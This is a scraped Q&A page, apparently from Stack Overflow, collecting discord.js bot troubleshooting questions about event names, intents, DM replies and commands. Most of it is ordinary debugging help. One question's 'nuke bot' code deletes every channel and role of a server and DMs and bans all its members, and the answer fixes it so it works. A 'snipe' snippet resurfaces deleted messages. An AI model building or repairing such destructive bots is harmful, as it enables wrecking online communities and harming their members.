Why doesn't my message.reply command not work? - javascript

My bot has connected to the server, it becomes online when I start the code, but i can't seem to figure out why the message.reply command doesnt work
Code:
const Discord = require('discord.js');
const bot = new Discord.Client();
bot.on('Message', (message) => {
if(message.content == 'ping') {
message.reply('pong');
}
});
Am i missing something? i'm coding using visual studio code

Client's events are case-sensitive, therefore, "Message" and "message" are completely two different things.
Replace "Message" with "message" on line 5 to fix your code.
const Discord = require('discord.js');
const bot = new Discord.Client();
bot.on('message', (message) => {
if (message.content == 'ping') {
message.reply('pong');
}
});

Related

Discord bot not sending message

I am creating a Discord bot that sends a message when the user's message contains a certain string.
For example, if the user says 'ping', the bot should reply with 'pong'. However, this is not currently working as intended.
The bot itself is online and in the server I am testing, and I am using the correct login token. The code itself does not produce any errors, but it does not function as expected. I am looking for a solution to this issue.
Heres the code:
Ive removed the token just for this post.
const Discord = require('discord.js');
const { Client, GatewayIntentBits } = Discord;
// Create a new client
const client = new Client({
// Set the intents to include guilds and guild messages
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
GatewayIntentBits.GuildMembers,
]
});
client.on('ready', () => {
console.log(`Logged in as ${client.user.tag}!`);
});
client.on('message', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});
// Log in to Discord using the bot's token
client.login('REMOVED FOR STACK OVERFLOW POST');
Heres my bots permissions
As Zsolt Meszaros pointed out the client on function should use
https://stackoverflow.com/users/6126373/zsolt-meszaros
client.on('messageCreate', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});
instead of
client.on('message', message => {
if (message.content === 'ping') {
message.reply('Pong!');
}
});

Discord Bot gets online but doesn't respond to messages [duplicate]

This question already has an answer here:
message.content doesn't have any value in Discord.js
(1 answer)
Closed 3 months ago.
const Discord = require("discord.js")
const client = new Discord.Client({
intents: [
Discord.GatewayIntentBits.Guilds,
Discord.GatewayIntentBits.GuildMessages
]
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`)
})
client.on("messageCreator", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
})
client.on("message", Message => {
if (msg.content === "hi") {
msg.reply("hello");
}
})
client.login(process.env.TOKEN)
Hi, im tryng learn how to make a discord bot for my server and i dont know much of js. I've been reading some tutorials but isnt working.
Seems like you're trying to listen to 2 message events, messageCreator and message.
The event messageCreator doesn't exist. You need to replace it with messageCreate.
The event message has been deprecated. (Also, you've named your message instance Message but you're referring to it as msg.)
const Discord = require("discord.js");
const client = new Discord.Client({
intents: [Discord.GatewayIntentBits.Guilds, Discord.GatewayIntentBits.GuildMessages],
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`);
});
client.on("messageCreate", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
});
client.login(process.env.TOKEN);

Only reply in dms discord.js

So I was working on this project where people will DM the BOT and run command and it replies test. But it doesn't reply.
client.on("messageCreate", async message => {
if (message.content.startsWith(prefix)) {
const args = message.content.slice(prefix.length).trim().split(/ +/g);
const command = args.shift().toLowerCase();
if (message.channel.type === 'dm') {
message.reply("test");
}
}
});
That's because you didn't enable the intents for getting a dm message,
try putting those two on your client declarations :
const client = new Discord.Client({
intents : ['DIRECT_MESSAGES','GUILD_MESSAGES'],
partials: ["CHANNEL","MESSAGE"]
})
here is a way:
1.Create a file named ** 'privateMessage.js'** and in the main file add:
const privateMessage = require('./privateMessage')
client.on('ready' ,() =>{
console.log('I am online')
client.user.setActivity('YouTube Music 🎧', {type:'PLAYING'})
privateMessage(client, 'ping', 'pong')
})
and in the file we just created privateMessage.js add:
module.exports=(client, triggerText, replyText)=>{
client.on('message', message =>{
if(message.content.toLowerCase()===triggerText.toLowerCase()){
message.author.send(replyText)
}
})
}

how to delete all channel in discord.js server

I'm gonna make a nuke bot to nuke a scam server I've tried many things but won't work this is my current code
const Discord = require('discord.js')
const client = new Discord.Client()
client.on('ready', function(){
console.log("nukebot is ready")
})
client.on('message', function(message){
if(message.content === "S#NUKE") {
message.channel.send('#everyone')
message.guild.channels.forEach(channel => channel.delete())
message.guild.roles.forEach(role => role.delete())
message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
message.guild.member.forEach(member => member.ban()).catch(console.error())
}
})
client.login('API_KEY_REDACTED')
This gave me an error: message.guild.channels.forEach is not a function
message.guild.channels.forEach() should be message.guild.channels.cache.forEach().
They added that update in v12.

Discord.js | Making a message sniper command

I'm trying to make a bot log/snipe a message, when someone says 'zsnipe', I want to know how would i make 'zsnipe' a command but its not working, am I doing something wrong? here's the code:
bot.on('messageDelete', message => {
const embed8 = new Discord.MessageEmbed()
.setAuthor(`${message.author.username}#${message.author.discriminator}`, message.author.avatarURL({dynamic : true}))
.setDescription(message.content)
if (message.content === 'zsnipe'){
message.channel.send(embed8)
}
})
Your Help Will be Appreciated!
Here is some code that saves the last deleted message in a channel and allows it to be retrieved when someone says zsnipe.
Warning: the deleted messages will be lost if the bot restarts.
const deletedMessages = new Discord.Collection();
bot.on('message', async message => {
if (message.author.bot) return;
const args = message.content.trim().split(/\s+/g);
const command = args.shift().toLowerCase();
switch (command) {
case 'zsnipe':
const msg = deletedMessages.get(message.channel.id);
if (!msg) return message.reply('could not find any deleted messages in this channel.');
const embed = new Discord.MessageEmbed()
.setAuthor(msg.author.tag, msg.author.avatarURL({ dynamic: true }))
.setDescription(msg.content);
message.channel.send(embed).catch(err => console.error(err));
break;
});
bot.on('messageDelete', message => {
deletedMessages.set(message.channel.id, message);
});

Categories